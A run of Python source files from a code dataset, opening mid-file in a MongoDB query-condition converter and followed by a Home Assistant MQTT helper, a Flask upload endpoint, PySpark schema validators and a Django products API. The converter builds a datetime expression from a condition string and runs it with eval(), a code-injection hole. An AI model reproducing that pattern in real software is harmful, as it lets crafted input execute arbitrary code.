where_convert(self, condition): \n # 特殊条件处理\n #import pdb; pdb.set_trace()\n if condition[\"condition\"] and condition[\"condition\"].startswith(\"@\"):\n return self.validate_exception(condition)\n # 一般条件处理\n else:\n for key, val in condition.items():\n if key == \"obj_id\":\n obj_id = val\n elif key == \"attr_name\":\n field = val if isinstance(val, str) else val.encode(\"ascii\")\n elif key == \"attr_type\":\n value_type = val\n elif key == \"expression\":\n val = val if isinstance(val, str) else str(val)\n op = \"$\" + val \n elif key == \"condition\":\n value = self.transfer_value_type(value_type, val)\n elif key == \"opt\":\n opt = val \n elif key == \"obj_name\":\n obj_name = val if isinstance(val, str) else str(val)\n cond = dict()\n cond[field] = dict()\n cond[field][op] = value\n cond[\"opt\"] = opt\n cond[\"object_name\"] = obj_name\n return {obj_id: cond}\n\n @staticmethod\n def transfer_value_type(value_type, value):\n value_types = {\"str\": str, \"int\": int, \"bool\": bool, \"single\": str, \"float\": float} #其他类型转换另外增加\n if value_types.has_key(value_type):\n val_type = value_types.get(value_type)\n return val_type(value)\n else:\n ValueError(\"value_types没有该类型\")\n\n def validate_exception(self, condition):\n #import re\n value = condition[\"condition\"]\n for exception_fun in self.exception_fun:\n if exception_fun[\"match_type\"] == \"full\" and exception_fun[\"exception\"] == value:\n return getattr(self, exception_fun[\"function\"])(condition)\n elif exception_fun[\"match_type\"] == \"like\" and exception_fun[\"exception\"] in value:\n return getattr(self, exception_fun[\"function\"])(condition)\n else:\n raise Exception(\"没有特殊条件\" + value + \"的处理函数\")\n\n def current_user_exception(self, condition):\n #import pdb; pdb.set_trace()\n obj_id = condition[\"obj_id\"]\n opt = condition[\"opt\"]\n obj_name = condition[\"obj_name\"]\n field = condition[\"attr_name\"]\n value = condition[\"condition\"]\n context = get_context()\n user_objectid = context[\"current_user\"][\"current_user\"][\"_id\"]\n if value == \"@current_user\":\n current_user = str(user_objectid)\n elif value == \"@current_user_ObjectId\":\n current_user = user_objectid\n\n return {obj_id: {\"field\": current_user, \"opt\": opt, \"object_name\": obj_name}}\n\n def date_now_exception(self, condition):\n import datetime\n obj_id = condition[\"obj_id\"]\n value = condition[\"condition\"]\n field = condition[\"attr_name\"]\n opt = condition[\"opt\"]\n obj_name = condition[\"obj_name\"]\n if '-' in value:\n value_parts = value.split(\"-\")\n code = \"datetime.datetime.now() - datetime.timedelta(seconds=\" + value_parts[1] +\")\"\n date_val = eval(code)\n cond = {field: date_val}\n cond[\"opt\"] = opt\n cond[\"object_name\"] = obj_name\n return {obj_id: cond}\n elif '+' in value:\n value_parts = value.split(\"+\")\n code = \"datetime.datetime.now() + datetime.timedelta(seconds=\" + value_parts[1] + \")\"\n date_val = eval(code)\n cond = {field: date_val}\n cond[\"opt\"] = opt\n cond[\"object_name\"] = obj_name\n return {obj_id: cond}\n else:\n now = eval(\"datetime.datetime.now()\")\n return {obj_id: {field: now, \"opt\": opt, \"object_name\": obj_name}}\n\n \n def p_where_source_convert(self, object_id, condition):\n #import pdb; pdb.set_trace()\n obj_name = condition.values()[0][\"object_name\"]\n opt = condition.values()[0][\"opt\"]\n del condition.values()[0][\"object_name\"]\n del condition.values()[0][\"opt\"]\n results = db[str(obj_name)].find(condition.values()[0])\n if not results.count():\n return {object_id: {\"_id\": {\"$eq\": \"_id\"}, \"object_name\": self.mongoinfo.get(object_id), \"opt\": opt}}\n\n _ids = list()\n for result in results:\n _id = result[\"_relation_\"][self.mongoinfo.get(object_id)].id \n _ids.append(_id)\n converted_condition = {object_id: {\"_id\": {\"$in\": _ids}, \"object_name\": self.mongoinfo.get(object_id), \"opt\": opt}}\n return converted_condition\n\n\n def s_where_source_convert(self, object_id, condition):\n #import pdb; pdb.set_trace()\n obj_name = condition.values()[0][\"object_name\"]\n opt = condition.values()[0][\"opt\"]\n del condition.values()[0][\"object_name\"]\n del condition.values()[0][\"opt\"]\n results = db[str(obj_name)].find(condition.values()[0])\n if not results.count():\n return {object_id: {\"_id\": {\"$eq\": \"_id\"}, \"object_name\": self.mongoinfo.get(object_id), \"opt\": opt}}\n dbrefs = list()\n for result in results:\n _id = result[\"_id\"]\n dbrefs.append(DBRef(obj_name, ObjectId(_id)))\n converted_condition = {object_id: {\"_relation_.\" + obj_name: {\"$in\": dbrefs }, \"object_name\": self.mongoinfo.get(object_id), \"opt\": opt}}\n return converted_condition\n\n\n def group_by_merge(self, conditions):\n merged_conditions = self.common_merge_conditions(conditions, \"groupby\")\n return merged_conditions\n\n def count_merge(self, conditions):\n merged_conditions = self.common_merge_conditions(conditions, \"count\")\n return merged_conditions\n\n def sum_merge(self, conditions):\n merged_conditions = self.common_merge_conditions(conditions, \"sum\")\n return merged_conditions\n\n def avg_merge(self, conditions):\n merged_conditions = self.common_merge_conditions(conditions, \"avg\")\n return merged_conditions\n\n def common_merge_conditions(self, conditions, _type):\n \"\"\" 特定格式的不同数据源条件\"\"\"\n #import pdb; pdb.set_trace()\n converted_conditions = self.convert_methods(_type)(conditions)\n merged_conditions = dict()\n merged_value = {_type + \"_fields\": [], _type + \"_relation_fields\": {}, \"mongoid\": self.object_id}\n for key, value in converted_conditions.iteritems():\n if key != self.object_id:\n fields = value[\"fields\"]\n #new_fields = list()\n #for field in fields:\n #field = self.mongoinfo[key] + \".\" + field\n #new_fields.append(field)\n if not merged_value[_type + \"_relation_fields\"].has_key(key):\n merged_value[_type + \"_relation_fields\"][key] = list()\n merged_value[_type + \"_relation_fields\"][key].extend(fields)\n #merged_value[_type + \"_relation_fields\"][key].extend(new_fields)\n \n else:\n merged_value[_type + \"_fields\"].extend(value[\"fields\"])\n \n merged_conditions[self.object_id] = merged_value\n return merged_conditions\n\n\n\n def condition_source_convert(self, condition, _type):\n \"\"\"关系数据源,转化为同数据源\"\"\"\n #import pdb; pdb.set_trace()\n obj_id = condition.keys()[0]\n direct_parents = RelationLink().find_parent_nodel(self.relations, obj_id, all=False)\n direct_subs = RelationLink().find_sub_nodel(self.relations, obj_id, all=False)\n if self.object_id in direct_parents:\n converted_condition = self.source_convert_funcs[_type][\"p\"](self.object_id, condition)\n return converted_condition\n elif self.object_id in direct_subs:\n converted_condition = self.source_convert_funcs[_type][\"s\"](self.object_id, condition)\n return converted_condition\n else:\n parents = RelationLink().find_parent_nodel(self.relations, obj_id, all=True)\n subs = RelationLink().find_sub_nodel(self.relations, obj_id, all=True)\n if self.object_id in parents:\n for p_id in direct_parents:\n try:\n cond = copy.deepcopy(condition)\n new_condition = self.source_convert_funcs[_type][\"p\"](p_id, cond) \n converted_condition = self.condition_source_convert(new_condition, _type)\n return converted_condition\n except ConvertException:\n continue\n\n elif self.object_id in subs:\n for s_id in direct_subs:\n try:\n cond = copy.deepcopy(condition)\n new_condition = self.source_convert_funcs[_type][\"s\"](s_id, cond)\n converted_condition = self.condition_source_convert(new_condition, _type)\n return converted_condition\n except ConvertException:\n continue\n else:\n raise ConvertException(\"对象关系未找到\")\n\n\n @property\n def source_convert_funcs(self):\n SOURCE_CONVERT_FUNCS = {\n \"where\": {\"p\": self.p_where_source_convert, \"s\": self.s_where_source_convert},\n \"groupby\": {\"p\": self.p_groupby_source_convert, \"s\": self.s_groupby_source_convert},\n \"avg\": {\"p\": self.p_avg_source_convert, \"s\": self.s_avg_source_convert},\n \"sum\": {\"p\": self.p_sum_source_convert, \"s\": self.s_sum_source_convert},\n \"count\": {\"p\": self.p_count_source_convert, \"s\": self.s_sum_source_convert}\n }\n return SOURCE_CONVERT_FUNCS\n\n \n def p_count_source_convert(self, object_id, condition):\n converted_condition = self.p_groupby_source_convert(object_id, condition, \"count\")\n return converted_condition\n\n\n def s_count_source_convert(self, object_id, condition):\n converted_condition = self.s_groupby_source_convert(object_id, condition, \"count\")\n return converted_condition\n \n\n def p_sum_source_convert(self, object_id, condition):\n converted_condition = self.p_groupby_source_convert(object_id, condition, \"sum\")\n return converted_condition\n\n\n def s_sum_source_convert(self, object_id, condition):\n converted_condition = self.s_groupby_source_convert(object_id, condition, \"sum\")\n return converted_condition\n \n\n def p_avg_source_convert(self, object_id, condition):\n converted_condition = self.p_groupby_source_convert(object_id, condition, \"avg\")\n return converted_condition\n \n\n def s_avg_source_convert(self, object_id, condition):\n converted_condition = self.s_groupby_source_convert(object_id, condition, \"avg\")\n return converted_condition\n\n\n def p_groupby_source_convert(self, object_id, condition, _type=\"groupby\"):\n #import pdb; pdb.set_trace()\n obj_id = condition.keys()[0]\n obj_name = self.mongoinfo[obj_id]\n fields = condition[obj_id][\"fields\"]\n if not self.num:\n condition[obj_id][\"relation_data\"] = list()\n relation_data = condition[obj_id][\"relation_data\"]\n del condition[obj_id][\"fields\"]\n del condition[obj_id][\"relation_data\"]\n if not self.num:\n #match_stage = {\"$match\": {}}\n group_stage = {\"$group\": {}}\n if _type == \"groupby\":\n group_stage[\"$group\"][\"_id\"] = dict()\n elif _type == \"count\" or _type == \"avg\" or _type == \"sum\":\n group_stage[\"$group\"][\"_id\"] = \"null\"\n for field in fields:\n if _type == \"groupby\":\n group_stage[\"$group\"][\"_id\"][obj_name + \"_\" + field] = \"$\" + field\n elif _type == \"count\":\n group_stage[\"$group\"][obj_name + \"_\" + field] = {\"$sum\": 1}\n \n elif _type == \"avg\":\n group_stage[\"$group\"][obj_name + \"_\" + field] = {\"$avg\": \"$\" + field}\n elif _type == \"sum\":\n group_stage[\"$group\"][obj_name + \"_\" + field] = {\"$sum\": \"$\" + field}\n group_stage[\"$group\"][\"dbrefs\"] = {\"$push\": \"$_relation_.\" + self.mongoinfo[object_id]}\n #import pdb; pdb.set_trace()\n results = db[obj_name].aggregate([group_stage])\n else:\n results = db[obj_name].find(condition.values()[0])\n\n if (not self.num and not results._CommandCursor__data) or (self.num and not results.count()):\n converted_condition = {object_id: {\"XXX\": \"XXX\", \"relation_data\": relation_data, \"fields\": fields}}\n if not self.num:\n converted_condition[object_id][\"relation_data\"].extend([])\n self.num = True\n return converted_condition\n \n _ids = list()\n docs = list()\n for result in results:\n if not self.num:\n if _type == \"groupby\":\n _id = result[\"_id\"]\n #_id = {obj_name + \".\" + field: val for field, val in result[\"_id\"].iteritems()}\n elif _type == \"count\" or _type == \"avg\" or _type == \"sum\":\n c_result = copy.deepcopy(result)\n del c_result[\"_id\"]\n del c_result[\"dbrefs\"]\n _id = c_result\n \n refs =result[\"dbrefs\"]\n ids = [ref.id for ref in refs]\n _ids.extend(ids)\n docs.append((_id, ids, obj_name))\n else:\n id = result[\"_relation_\"][self.mongoinfo[object_id]].id\n _ids.append(id)\n docs.extend(self.p_update_relation_data(relation_data, result, self.mongoinfo[object_id]))\n converted_condition = {object_id: {\"_id\": {\"$in\": _ids}, \"relation_data\": relation_data, \"fields\": fields}}\n if not self.num:\n converted_condition[object_id][\"relation_data\"].extend(docs)\n else:\n converted_condition[object_id][\"relation_data\"] = docs\n self.num = True\n return converted_condition\n\n\n def s_groupby_source_convert(self, object_id, condition, _type=\"groupby\"):\n #import pdb; pdb.set_trace()\n obj_id = condition.keys()[0]\n obj_name = self.mongoinfo[obj_id]\n fields = condition[obj_id][\"fields\"]\n if not self.num:\n condition[obj_id][\"relation_data\"] = list()\n relation_data = condition[obj_id][\"relation_data\"] \n del condition[obj_id][\"fields\"]\n del condition[obj_id][\"relation_data\"]\n if not self.num:\n #match_stage = {\"$match\": {}}\n group_stage = {\"$group\": {}}\n if _type == \"groupby\":\n group_stage[\"$group\"][\"_id\"] = dict()\n elif _type == \"count\" or _type == \"avg\" or _type == \"sum\":\n group_stage[\"$group\"][\"_id\"] = \"null\"\n for field in fields:\n if _type == \"groupby\":\n group_stage[\"$group\"][\"_id\"][obj_name + \"_\" + field] = \"$\" + field\n elif _type == \"count\":\n group_stage[\"$group\"][obj_name + \"_\" + field] = {\"$sum\": 1}\n elif _type == \"avg\":\n group_stage[\"$group\"][obj_name + \"_\" + field] = {\"$avg\": \"$\" + field}\n elif _type == \"sum\":\n group_stage[\"$group\"][obj_name + \"_\" + field] = {\"$sum\": \"$\" + field}\n group_stage[\"$group\"][\"ids\"] = {\"$push\": \"$_id\"}\n results = db[obj_name].aggregate([group_stage])\n else:\n results = db[obj_name].find(condition.values()[0])\n \n \n if (not self.num and not results._CommandCursor__data) or (self.num and not results.count()):\n converted_condition = {object_id: {\"XXX\": \"XXX\", \"relation_data\": relation_data, \"fields\": fields}}\n if not self.num:\n converted_condition[object_id][\"relation_data\"].extend([])\n self.num = True\n return converted_condition\n dbrefs = list()\n docs = list()\n for result in results:\n if not self.num:\n if _type == \"groupby\":\n _id = result[\"_id\"]\n #_id = {obj_name + \".\" + field: val for field, val in result[\"_id\"].iteritems()}\n elif _type == \"count\" or _type == \"avg\" or _type == \"sum\":\n c_result = copy.deepcopy(result)\n del c_result[\"_id\"]\n del c_result[\"ids\"]\n _id = c_result\n \n ids = result[\"ids\"]\n refs = [DBRef(obj_name, ObjectId(id)) for id in ids]\n dbrefs.extend(refs)\n docs.append((_id, ids, obj_name))\n else:\n id = result[\"_id\"]\n dbrefs.append(DBRef(obj_name, ObjectId(id)))\n docs.extend(self.s_update_relation_data(relation_data, result, obj_name))\n\n converted_condition = {object_id: {\"_relation_.\" + obj_name: {\"$in\": dbrefs}, \"relation_data\": relation_data, \"fields\": fields}}\n if not self.num:\n converted_condition[object_id][\"relation_data\"].extend(docs)\n else:\n converted_condition[object_id][\"relation_data\"] = docs\n self.num = True\n return converted_condition\n\n def s_update_relation_data(self, relation_data, result, obj_name):\n #import pdb; pdb.set_trace()\n p_obj_name = relation_data[0][2]\n id = result[\"_id\"]\n r_id = result[\"_relation_\"][p_obj_name].id #父对象只能关系为一\n new_relation_data = []\n for data in relation_data:\n _id = data[0]\n ids = list() # 父对象_id, 子对象_relation_.xxx.id\n for p_id in data[1]:\n if r_id == p_id:\n ids.append(id)\n new_relation_data.append((_id, ids, obj_name))\n return new_relation_data\n \n\n def p_update_relation_data(self, relation_data, result, obj_name):\n #import pdb; pdb.set_trace()\n id = result[\"_id\"]\n r_id = result[\"_relation_\"][obj_name].id\n new_relation_data = []\n for data in relation_data:\n _id = data[0]\n ids = list() # 子对象_relation_.xxx.id, 父对象_id\n for s_id in data[1]:\n if id == s_id:\n ids.append(r_id)\n new_relation_data.append((_id, ids, obj_name))\n return new_relation_data\n \n \n def convert_methods(self, _type):\n CONVERT_METHODS = {\n \"groupby\": self.group_by_convert,\n \"sum\": self.sum_convert,\n \"count\": self.count_convert,\n \"avg\": self.avg_convert\n }\n return CONVERT_METHODS[_type]\n \n \n def group_by_convert(self, conditions):\n result = self.common_convert(conditions)\n return result\n \n\n def count_convert(self, conditions):\n result = self.common_convert(conditions)\n return result\n\n def sum_convert(self, conditions):\n result = self.common_convert(conditions)\n return result\n\n def avg_convert(self, conditions):\n result = self.common_convert(conditions)\n return result\n\n def common_convert(self, conditions):\n #import pdb; pdb.set_trace()\n result = dict()\n for cond in conditions:\n obj_id = cond[\"obj_id\"]\n field = cond[\"attr_name\"] if isinstance(cond[\"attr_name\"], str) else str(cond[\"attr_name\"])\n if obj_id not in result:\n result[obj_id] = dict()\n if \"fields\" not in result[obj_id]:\n result[obj_id][\"fields\"] = list()\n if field and field not in result[obj_id][\"fields\"]:\n result[obj_id]['fields'].append(field)\n #if \"relation_data\" not in result[obj_id]:\n # result[obj_id][\"relation_data\"] = list()\n return result\n\n \n def get_main_link_condition(self, conditions):\n \"\"\"\n 用于合并容器中的链,只到object-where\n conditions: [{obj_id_1: link_condition_1}, {obj_id_N: link_condition_N}, ...]\n link_condition: {\"object_name\": xxx, \"where\": {格式化条件}}\n \"\"\"\n #import pdb; pdb.set_trace()\n main_link_condition = dict()\n main_link_condition[\"object_name\"] = self.mongoinfo[self.object_id]\n main_link_condition[\"where\"] = dict()\n main_link_condition[\"where\"][\"$and\"] = list()\n for condition in conditions:\n cond_obj_id = condition.keys()[0]\n link_condition = condition.values()[0]\n where_value = link_condition.get(\"where\")\n #where_value = link_condition.get(\"where\", {}) \n \n if cond_obj_id != self.object_id:\n if where_value:\n where_value[\"object_name\"] = link_condition[\"object_name\"]\n where_value[\"opt\"] = \"\"\n else: # where_value为空, 给定默认值\n where_value = dict()\n where_value[\"object_name\"] = link_condition[\"object_name\"]\n where_value[\"opt\"] = \"\"\n where_condition = {cond_obj_id: where_value}\n source_converted_condition = self.condition_source_convert(where_condition, \"where\")\n del source_converted_condition.values()[0][\"object_name\"]\n del source_converted_condition.values()[0][\"opt\"]\n main_link_condition[\"where\"][\"$and\"].append(source_converted_condition.values()[0])\n else:\n if where_value:\n main_link_condition[\"where\"][\"$and\"].append(where_value)\n if not main_link_condition[\"where\"][\"$and\"]:\n del main_link_condition[\"where\"][\"$and\"]\n elif len (main_link_condition[\"where\"][\"$and\"]) == 1:\n main_link_condition[\"where\"] = main_link_condition[\"where\"][\"$and\"][0] \n\n return main_link_condition\n\n\n def groupby_source_convert(self, groupby_relation_condition):\n #import pdb; pdb.set_trace()\n self.num = False\n source_converted_condition = self.condition_source_convert(groupby_relation_condition, \"groupby\")\n self.num = True\n return source_converted_condition[self.object_id]\n\n ## count|sum|avg|暂定为与groupby一样的处理逻辑\n def count_source_convert(self, count_relation_condition):\n self.num = False\n source_converted_condition = self.condition_source_convert(count_relation_condition, \"groupby\")\n self.num = True\n return source_converted_condition[self.object_id]\n \n\n def avg_source_convert(self, avg_relation_condition):\n self.num = False\n source_converted_condition = self.condition_source_convert(avg_relation_condition, \"groupby\")\n self.num = True\n return source_converted_condition[self.object_id]\n \n \n def sum_source_convert(self, sum_relation_condition):\n self.num = False\n source_converted_condition = self.condition_source_convert(sum_relation_condition, \"groupby\")\n self.num = True\n return source_converted_condition[self.object_id]\n \n\n \nclass ConvertException(Exception):\n pass\n\n\n\n","sub_path":"core/platform/rulelogics/condition_conversion.py","file_name":"condition_conversion.py","file_ext":"py","file_size_in_byte":33231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294365433","text":"__author__ = \"Philip Cutler\"\n\nimport logging\nfrom utilities import (\n configurationhandler,\n mqttclienthandler,\n schemahandler,\n)\nfrom classes import configPayload\n\nmodule_logger = logging.getLogger(\n configurationhandler.config[\"logging\"][\"MODULE_LOGGER\"]\n)\n\n# payloads for dynamic mqtt support for home assistant\n# https://www.home-assistant.io/docs/mqtt/discovery/\n# Configuration topic no1: homeassistant/sensor/sensorBedroomT/config\n\n\ndiscovery_prefix = \"homeassistant\"\ncomponent = \"sensor\"\n\n\ndef node_id(sensor_label):\n \"\"\"Generate node_id based on sensor_label\n\n Parameters:\n sensor_label:\n\n Returns:\n str: node_id\n \"\"\"\n node_id_str = str(\n \"enviroplus\"\n + \"_\"\n + str(configurationhandler.config[\"enviroplus\"][\"id\"])\n + \"_\"\n + sensor_label\n )\n return node_id_str\n\n\n# homeassistant/sensor/enviroplus3/state\n#\n# homeassistant/sensor/enviroplus3BME280/state\ndef state_topic(sensor_label):\n \"\"\"Define state topic for home assistant\n\n Parameters:\n sensor_label:\n\n Returns:\n str: state topic\n \"\"\"\n topic_elements = [discovery_prefix, component, str(node_id(sensor_label)), \"state\"]\n topic = mqttclienthandler.create_topic_from_list(topic_elements)\n module_logger.debug(\n \"state topic for {sensor}: {topic}\".format(sensor=sensor_label, topic=topic)\n )\n return topic\n\n\n# homeassistant/sensor/enviroplus3temperature/config\ndef config_topic(sensor_label, measurement):\n \"\"\"Define config topic for home assistant\n\n Parameters:\n sensor_label:\n reading: data type\n\n Returns:\n str: state topic\n \"\"\"\n # context = \"homeassistant/sensor\"\n # sensor = \"enviroplus\"\n # topic = str(\n # context + \"/\" +\n # sensor + \"/\" +\n # str(configurationhandler.config[\"enviroplus\"][\"id\"]) + \"/\" +\n # str(configurationhandler.config[\"sensors\"][\"WEATHER_LABEL\"]) + \"/\" +\n # reading + \"/\" +\n # \"config\"\n # )\n topic_elements = [\n discovery_prefix,\n component,\n str(node_id(sensor_label) + \"_\" + measurement),\n \"config\",\n ]\n topic = mqttclienthandler.create_topic_from_list(topic_elements)\n module_logger.debug(\n \"config topic for {measurement} for sensor {sensor}: {topic}\".format(\n measurement=measurement, sensor=sensor_label, topic=topic\n )\n )\n return topic\n\n\ndef config_payload(\n device_class,\n measurement,\n sensor_label,\n state_topic,\n unit_of_measurement,\n value_template,\n):\n name_elements = [\n \"Enviro+\",\n configurationhandler.config[\"enviroplus\"][\"id\"],\n sensor_label,\n measurement,\n ]\n config_payload_object = configPayload.ConfigPayload(\n {\n \"device_class\": str(device_class),\n \"name\": \" \".join(name_elements),\n \"state_topic\": state_topic,\n \"unit_of_measurement\": str(unit_of_measurement),\n \"value_template\": str(value_template),\n }\n )\n module_logger.debug(\n \"config payload: {payload}\".format(\n payload=schemahandler.to_json(config_payload_object)\n )\n )\n return schemahandler.to_json(config_payload_object)\n","sub_path":"enviroplusmonitor/utilities/homeassistanthandler.py","file_name":"homeassistanthandler.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"576828519","text":"from flask import Flask, jsonify, request\nimport os\nimport numpy as np\nimport predict\nfrom werkzeug.utils import secure_filename\n\nUPLOAD_FOLDER = os.path.basename('uploads')\nALLOWED_FOLDER = {'jpg', 'png'}\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_FOLDER\n\n@app.route('/', methods = ['GET', 'POST'])\ndef upload_file():\n if request.methos == 'POST':\n if 'file' not in request.files:\n return jsonify(error = 'not file upload')\n image_file = request.files['file']\n if image_file.filename == '':\n return jsonify(error = 'file empty')\n if image_file and not allowed_file(image_file.filename):\n return jsonify(error = 'not support type file(allow jpg, png)')\n img = image_file.read()\n array = np.fromstring(img, np.uint8)\n result = predict.Predict(array)\n return jsonify(result = result)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"245401054","text":"\"\"\"\nVarious helper functions to analyze and compare an output DataFrame from one of our actual transformation jobs\nto the corresponding expected output DataFrame for the same job. The functions contained in this module should be\ngeneric enough to be used across all segments and repositories (Enterprise Sales, Mill Profitability, etc.).\n\"\"\"\nfrom collections import defaultdict\n\nfrom pyspark.sql import functions as F\n\n\nclass DataFrameMissingColumnError(ValueError):\n pass\n\n\nclass DataFrameMissingStructFieldError(ValueError):\n pass\n\n\nclass DataFrameSchemaMismatchError(ValueError):\n pass\n\n\ndef agg_count_sum_column_values(df, col):\n return (\n df.groupBy(col)\n .agg(\n F.count(col).alias('num_records'),\n F.sum('amount').alias('sum_amount'))\n .sort('num_records', ascending=False)\n )\n\n\ndef extract_actual_and_expected(spark_session, actual_filepath, expected_filepath):\n read_options = {'header': True, 'inferSchema': True}\n actual_df = spark_session.read.csv(actual_filepath, **read_options)\n expected_df = spark_session.read.csv(expected_filepath, **read_options)\n return actual_df, expected_df\n\n\ndef compare_summaries(actual, expected):\n ac_desc = actual.describe('amount').withColumnRenamed('amount', 'actual_amount')\n ex_desc = expected.describe('amount').withColumnRenamed('amount', 'expected_amount')\n desc_diff = (\n ac_desc.join(ex_desc, 'summary', 'left_outer')\n .withColumn('amount_difference', ac_desc.actual_amount - ex_desc.expected_amount)\n )\n return desc_diff\n\n\ndef compare_frequent_values(actual, expected, grouping_cols):\n actual_freq = actual.freqItems(grouping_cols).collect()[0].asDict()\n expected_freq = expected.freqItems(grouping_cols).collect()[0].asDict()\n assert actual_freq.keys() == expected_freq.keys()\n missing_values = defaultdict(set)\n for name, values in expected_freq.items():\n missing_values[name] = set(values) - set(actual_freq[name])\n return missing_values\n\n\ndef count_distinct_values(df):\n unique_expr = [F.countDistinct(name).alias(name) for name in df.columns if name != 'amount']\n unique_counts = df.select(unique_expr).collect()[0].asDict()\n return unique_counts\n\n\ndef compute_relative_accuracy(actual, expected):\n \"\"\"\n This is a somewhat naive approach and will likely develop into a more complete algorithm over time.\n \"\"\"\n intersection = expected.intersect(actual)\n accuracy = (intersection.count() / expected.count()) * 100\n return accuracy\n\n\ndef create_md5_hash_keys(df, grouping_cols):\n return (\n df\n .withColumn('hash_key', F.md5(F.concat_ws('__', *grouping_cols)))\n .select(*grouping_cols, 'hash_key', 'amount')\n .sort(grouping_cols)\n )\n\n\ndef get_grouping_columns(df):\n unique_counts = count_distinct_values(df)\n grouping_cols = [key for key, val in unique_counts.items() if val > 1]\n return grouping_cols\n\n\ndef symmetric_difference(actual, expected, grouping_cols):\n expected_only = (\n expected\n .join(actual, grouping_cols, 'left_anti')\n .withColumn('appears_in', F.lit('expected_only'))\n )\n actual_only = (\n actual\n .join(expected, grouping_cols, 'left_anti')\n .withColumn('appears_in', F.lit('actual_only'))\n )\n return expected_only.union(actual_only)\n\n\ndef validate_presence_of_columns(df, pyspark_schema):\n \"\"\"Verify that a Spark DataFrame contains all the columns in the specified Pyspark schema.\"\"\"\n required_col_names = pyspark_schema.fieldNames()\n actual_col_names = df.columns\n\n missing_col_names = set(required_col_names) - set(actual_col_names)\n if missing_col_names:\n error_message = f\"The {missing_col_names} columns are not included in the DataFrame with the following columns {actual_col_names}\"\n raise DataFrameMissingColumnError(error_message)\n\n extra_col_names = set(actual_col_names) - set(required_col_names)\n if extra_col_names:\n error_message = f\"The DataFrame contains extra columns that are not included in the required schema: {extra_col_names}\"\n raise DataFrameMissingColumnError(error_message)\n\n\ndef validate_struct_fields(df, required_schema):\n \"\"\"\n Verify that all columns in a Spark DataFrame have matching data types and parameters when compared\n to the required Pyspark schema.\n \"\"\"\n all_struct_fields = df.schema\n missing_struct_fields = [x for x in required_schema if x not in all_struct_fields]\n error_message = f'The DataFrame is missing the following StructFields: {missing_struct_fields}'\n if missing_struct_fields:\n raise DataFrameMissingStructFieldError(error_message)\n non_matching_fields = set(all_struct_fields.fields()) - set(required_schema.fields())\n if non_matching_fields:\n error_message = f'The DataFrame contains StructFields that are not in the defined schema: {non_matching_fields}'\n raise DataFrameSchemaMismatchError(error_message)\n\n\ndef validate_schema(df, required_schema):\n \"\"\"Combine individual validation functions to determine if the schema of a DataFrame is valid.\"\"\"\n try:\n validate_presence_of_columns(df, required_schema)\n validate_struct_fields(df, required_schema)\n return True\n except ValueError:\n raise\n","sub_path":"spark_process_common/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":5312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"571987521","text":"# python imports\nimport datetime\nimport json\nimport hashlib\nimport logging\nimport random\n\n# Django imports\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import get_user_model, login, logout, authenticate\nfrom django.conf import settings\n\n# Rest Framework\nfrom rest_framework import (viewsets, serializers)\nfrom rest_framework import status as rest_status\nfrom rest_framework.decorators import (\n authentication_classes, permission_classes, api_view\n)\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\nfrom rest_framework.response import Response\n\nfrom app.serializers import *\nfrom app.models import *\n\n#Logger initialisation\nlogger = logging.getLogger(__name__)\n\nclass ProductsViewset(viewsets.ViewSet):\n\n authentication_classes = (JWTAuthentication,)\n permission_classes = (IsAuthenticated, )\n # permission_classes = (AllowAny, )\n\n\n queryset = Products.objects.all()\n serializer_class = ProductsSerializer\n\n def get_product_list(self, request):\n '''\n Purpose : To get all list of products present in database\n '''\n szr = self.serializer_class(Products.objects.all(), many=True)\n products_data = szr.data\n return Response(products_data, status=200)\n \n def retrieve_product(self, request):\n '''\n Purpose : To get a product details by using product id\n '''\n product_id = request.data.get('product_id', None)\n if product_id:\n product = self.queryset.filter(id=product_id).first()\n if product:\n szr = self.serializer_class(product)\n products_data = szr.data\n return Response({\n 'product_details': products_data,\n 'message':'success'\n }, status=200)\n else:\n return Response({\n 'message': 'Product id is invalide.'\n }, status=400)\n else:\n return Response({\n 'message': 'Product id is not found in request.'\n }, status=400)\n\n def create_product(self, request):\n '''\n Purpose : To create new product in database\n '''\n szr = self.serializer_class(data = request.data)\n message = ''\n if szr.is_valid():\n szr.save()\n message = 'Product successfully created.'\n return Response({\n 'product_details': szr.data,\n 'message' : message\n }, status=200)\n else:\n return Response(szr.errors, status=400)\n\n def update_product(self, request):\n '''\n Purpose : To update existing product by using product id\n '''\n product_id = request.data.get('product_id', None)\n if product_id:\n obj = self.queryset.filter(id=product_id).first()\n if obj:\n szr = self.serializer_class(obj, data = request.data)\n message = ''\n if szr.is_valid():\n stored_data = szr.save()\n message = 'Product successfully updated.'\n return Response({\n 'message' : message\n }, status=200)\n else:\n return Response(szr.errors, status=400)\n else:\n return Response({\n 'message' : 'Product record not found.'\n }, status=400)\n else:\n return Response({'message' : 'Product Id is not passed.'}, status=400)\n\n def delete_product(self, request):\n '''\n Purpose : To delete a product from database by using product id\n '''\n product_id = request.data.get('product_id', None)\n if product_id:\n p = Products.objects.filter(id=product_id).first()\n if p:\n p.delete()\n return Response({\n 'message' : 'Product deleted successfully.'\n }, status=200)\n else:\n return Response({\n 'message' : 'Product record not found.'\n }, status=400)\n else:\n return Response({'message' : 'Product Id is not passed.'}, status=400)\n\n def upload_product_image(self, request):\n '''\n Purpose : To upload product image using product id\n '''\n print(request.data, request.FILES)\n product_id = request.data.get('product_id', None)\n picture = request.FILES['picture']\n if product_id:\n obj = self.queryset.filter(id=product_id).first()\n if obj:\n obj.picture = picture\n obj.save()\n message = 'Product image successfully updated.'\n return Response({\n 'message' : message\n }, status=200)\n else:\n return Response({\n 'message' : 'Product record not found.'\n }, status=400)\n else:\n return Response({'message' : 'Product Id is not passed.'}, status=400)\n\n 